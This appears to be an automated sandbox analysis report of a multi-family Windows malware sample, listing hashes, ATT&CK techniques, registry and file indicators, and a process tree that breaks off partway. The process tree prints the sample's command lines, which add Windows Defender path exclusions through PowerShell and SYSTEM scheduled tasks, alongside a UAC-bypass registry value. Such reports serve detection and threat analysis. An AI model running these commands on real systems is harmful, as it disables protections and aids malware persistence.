4ab243d68012ed1081ac422f509b2d2b84b408a570150dc41cc3b7a0f78cdeea

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/10/2026, 09:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Size 32.4MB
Sample261031-lma8wsct2n
SHA256 4ab243d68012ed1081ac422f509b2d2b84b408a570150dc41cc3b7a0f78cdeea
MD5 016eb8c05aef3e8d19acd07785b92e31
SHA1 8427fa53fd036bdb648f8a6c4da071a678af493c
SHA512 17a6546c9fad9d31ec8277e7b9d7dc2a9418e69b5c1f2189231608883f5ffacc7cf0fd65728fb741c74547c0d2f20e5c87b064aa1aa346c42d3a30cecd91281a
SSDEEP 196608:6qEfM3r4vGOgAVAiZfFK0SBqtiEPFNPTY:S6qp0
TLSH
T13F770646FA414DD2F85846F588ABB7A023FEBD7582D1C30721D87325AFAF29C0E93195
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	fPdgx4.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\XCMGmj = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/6120-699-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral2/memory/6120-682-0x00000000037D0000-0x0000000003FAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/6120-686-0x00000000037D0000-0x0000000003FAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/6120-695-0x00000000037D0000-0x0000000003FAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/6120-723-0x00000000037D0000-0x0000000003FAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/6120-730-0x00000000037D0000-0x0000000003FAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3296-744-0x0000000003CD0000-0x00000000044AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3844-751-0x00000000032C0000-0x0000000003A9D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2440-772-0x0000000003BA0000-0x000000000437D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1376-776-0x0000000003560000-0x0000000003D3D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
620	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	fPdgx4.exe

Executes dropped EXE 7 IoCs

pid	Process
2032	tBcNN7.exe
3388	tBcNN7.exe
6120	fPdgx4.exe
3296	fPdgx4.exe
3844	mlb118.exe
2440	fPdgx4.exe
1376	mlb118.exe

Loads dropped DLL 7 IoCs

pid	Process
2032	tBcNN7.exe
3388	tBcNN7.exe
6120	fPdgx4.exe
3296	fPdgx4.exe
3844	mlb118.exe
2440	fPdgx4.exe
1376	mlb118.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4348	icacls.exe
2308	icacls.exe
5832	icacls.exe
5612	icacls.exe
5432	icacls.exe
2180	icacls.exe
3080	icacls.exe
1972	icacls.exe
2444	icacls.exe
4540	icacls.exe
1768	icacls.exe
1724	icacls.exe
2628	icacls.exe
5040	icacls.exe
5860	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\XCMGmj\\tBcNN7.exe\""	tBcNN7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\y0aiIa\\fPdgx4.exe\""	fPdgx4.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5684	cmd.exe
2856	cmd.exe
4908	cmd.exe
5624	cmd.exe
5396	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	tBcNN7.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\10Nc1\image.png	fPdgx4.exe
File opened for modification	C:\Program Files (x86)\10Nc1\image.png	fPdgx4.exe
File created	C:\Program Files (x86)\y0aiIa\thumbs.db	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\y0aiIa\image.png	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\y0aiIa\thumbs.db	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\y0aiIa\fPdgx4.exe	tBcNN7.exe
File created	C:\Program Files (x86)\10Nc1\XPSPLOG.dll	fPdgx4.exe
File opened for modification	C:\Program Files (x86)\10Nc1\mlb118.exe	fPdgx4.exe
File opened for modification	C:\Program Files (x86)\y0aiIa	tBcNN7.exe
File created	C:\Program Files (x86)\y0aiIa\fPdgx4.exe	tBcNN7.exe
File created	C:\Program Files (x86)\y0aiIa\XPSPLOG.dll	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\10Nc1	fPdgx4.exe
File created	C:\Program Files (x86)\10Nc1\mlb118.exe	fPdgx4.exe
File created	C:\Program Files (x86)\10Nc1\thumbs.db	fPdgx4.exe
File opened for modification	C:\Program Files (x86)\10Nc1\thumbs.db	fPdgx4.exe
File created	C:\Program Files (x86)\y0aiIa\image.png	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\y0aiIa\XPSPLOG.dll	tBcNN7.exe
File opened for modification	C:\Program Files (x86)\10Nc1\XPSPLOG.dll	fPdgx4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	fPdgx4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	fPdgx4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	fPdgx4.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2408	cmd.exe
5068	cmd.exe
4212	cmd.exe
4424	cmd.exe
5304	cmd.exe
2604	cmd.exe
5972	cmd.exe
808	cmd.exe
4640	cmd.exe
2060	cmd.exe
2428	cmd.exe
2584	cmd.exe
3856	cmd.exe
3876	cmd.exe
4960	cmd.exe
5792	cmd.exe
5536	cmd.exe
5668	cmd.exe
1092	cmd.exe
4684	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tBcNN7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tBcNN7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fPdgx4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fPdgx4.exe

System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mlb118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mlb118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fPdgx4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fPdgx4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fPdgx4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	fPdgx4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	fPdgx4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	fPdgx4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	fPdgx4.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2264	schtasks.exe
5452	schtasks.exe
5428	schtasks.exe
5040	schtasks.exe
1112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
5484	2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe
2032	tBcNN7.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	620	powershell.exe
Token: SeIncreaseQuotaPrivilege	620	powershell.exe
Token: SeSecurityPrivilege	620	powershell.exe
Token: SeTakeOwnershipPrivilege	620	powershell.exe
Token: SeLoadDriverPrivilege	620	powershell.exe
Token: SeSystemProfilePrivilege	620	powershell.exe
Token: SeSystemtimePrivilege	620	powershell.exe
Token: SeProfSingleProcessPrivilege	620	powershell.exe
Token: SeIncBasePriorityPrivilege	620	powershell.exe
Token: SeCreatePagefilePrivilege	620	powershell.exe
Token: SeBackupPrivilege	620	powershell.exe
Token: SeRestorePrivilege	620	powershell.exe
Token: SeShutdownPrivilege	620	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeSystemEnvironmentPrivilege	620	powershell.exe
Token: SeRemoteShutdownPrivilege	620	powershell.exe
Token: SeUndockPrivilege	620	powershell.exe
Token: SeManageVolumePrivilege	620	powershell.exe
Token: 33	620	powershell.exe
Token: 34	620	powershell.exe
Token: 35	620	powershell.exe
Token: 36	620	powershell.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 620	2032	tBcNN7.exe	91
PID 2032 wrote to memory of 5684	2032	tBcNN7.exe	94
PID 5684 wrote to memory of 2264	5684	cmd.exe	97
PID 2032 wrote to memory of 2856	2032	tBcNN7.exe	99
PID 5684 wrote to memory of 6068	5684	cmd.exe	101
PID 2032 wrote to memory of 4908	2032	tBcNN7.exe	104
PID 2856 wrote to memory of 5452	2856	cmd.exe	107
PID 5684 wrote to memory of 2828	5684	cmd.exe	106
PID 4908 wrote to memory of 5428	4908	cmd.exe	108
PID 2032 wrote to memory of 5624	2032	tBcNN7.exe	109
PID 2856 wrote to memory of 5896	2856	cmd.exe	111
PID 4908 wrote to memory of 4440	4908	cmd.exe	112
PID 5624 wrote to memory of 5040	5624	cmd.exe	114
PID 2856 wrote to memory of 808	2856	cmd.exe	115
PID 4908 wrote to memory of 1316	4908	cmd.exe	116
PID 5624 wrote to memory of 5860	5624	cmd.exe	117
PID 5624 wrote to memory of 2368	5624	cmd.exe	118
PID 2032 wrote to memory of 5396	2032	tBcNN7.exe	121
PID 5396 wrote to memory of 1112	5396	cmd.exe	123
PID 5396 wrote to memory of 2508	5396	cmd.exe	124
PID 5396 wrote to memory of 1552	5396	cmd.exe	126
PID 5668 wrote to memory of 4804	5668	cmd.exe	128
PID 5536 wrote to memory of 912	5536	cmd.exe	129
PID 4212 wrote to memory of 2764	4212	cmd.exe	130
PID 2032 wrote to memory of 6120	2032	tBcNN7.exe	132
PID 6120 wrote to memory of 2060	6120	fPdgx4.exe	134
PID 6120 wrote to memory of 2428	6120	fPdgx4.exe	136
PID 6120 wrote to memory of 1092	6120	fPdgx4.exe	138
PID 2428 wrote to memory of 1724	2428	cmd.exe	141
PID 6120 wrote to memory of 2584	6120	fPdgx4.exe	142
PID 2584 wrote to memory of 5612	2584	cmd.exe	145
PID 6120 wrote to memory of 5972	6120	fPdgx4.exe	146
PID 5972 wrote to memory of 5432	5972	cmd.exe	148
PID 6120 wrote to memory of 2604	6120	fPdgx4.exe	149
PID 2604 wrote to memory of 2628	2604	cmd.exe	151
PID 6120 wrote to memory of 2408	6120	fPdgx4.exe	152
PID 2408 wrote to memory of 4348	2408	cmd.exe	154
PID 6120 wrote to memory of 5304	6120	fPdgx4.exe	155
PID 5304 wrote to memory of 2180	5304	cmd.exe	157
PID 6120 wrote to memory of 4424	6120	fPdgx4.exe	158
PID 4424 wrote to memory of 1768	4424	cmd.exe	160
PID 6120 wrote to memory of 4684	6120	fPdgx4.exe	161
PID 4684 wrote to memory of 2308	4684	cmd.exe	163
PID 6120 wrote to memory of 4640	6120	fPdgx4.exe	164
PID 4640 wrote to memory of 3080	4640	cmd.exe	166
PID 6120 wrote to memory of 5068	6120	fPdgx4.exe	167
PID 5068 wrote to memory of 1972	5068	cmd.exe	169
PID 6120 wrote to memory of 5792	6120	fPdgx4.exe	170
PID 5792 wrote to memory of 2444	5792	cmd.exe	172
PID 6120 wrote to memory of 4960	6120	fPdgx4.exe	173
PID 4960 wrote to memory of 4540	4960	cmd.exe	175
PID 6120 wrote to memory of 3856	6120	fPdgx4.exe	176
PID 3856 wrote to memory of 5832	3856	cmd.exe	178
PID 6120 wrote to memory of 3876	6120	fPdgx4.exe	179
PID 3876 wrote to memory of 5040	3876	cmd.exe	181
PID 6120 wrote to memory of 808	6120	fPdgx4.exe	182
PID 808 wrote to memory of 5860	808	cmd.exe	184

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	fPdgx4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_016eb8c05aef3e8d19acd07785b92e31_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5484

C:\Users\Public\XCMGmj\tBcNN7.exe
"C:\Users\Public\XCMGmj\tBcNN7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XCMGmj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XCMGmj\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
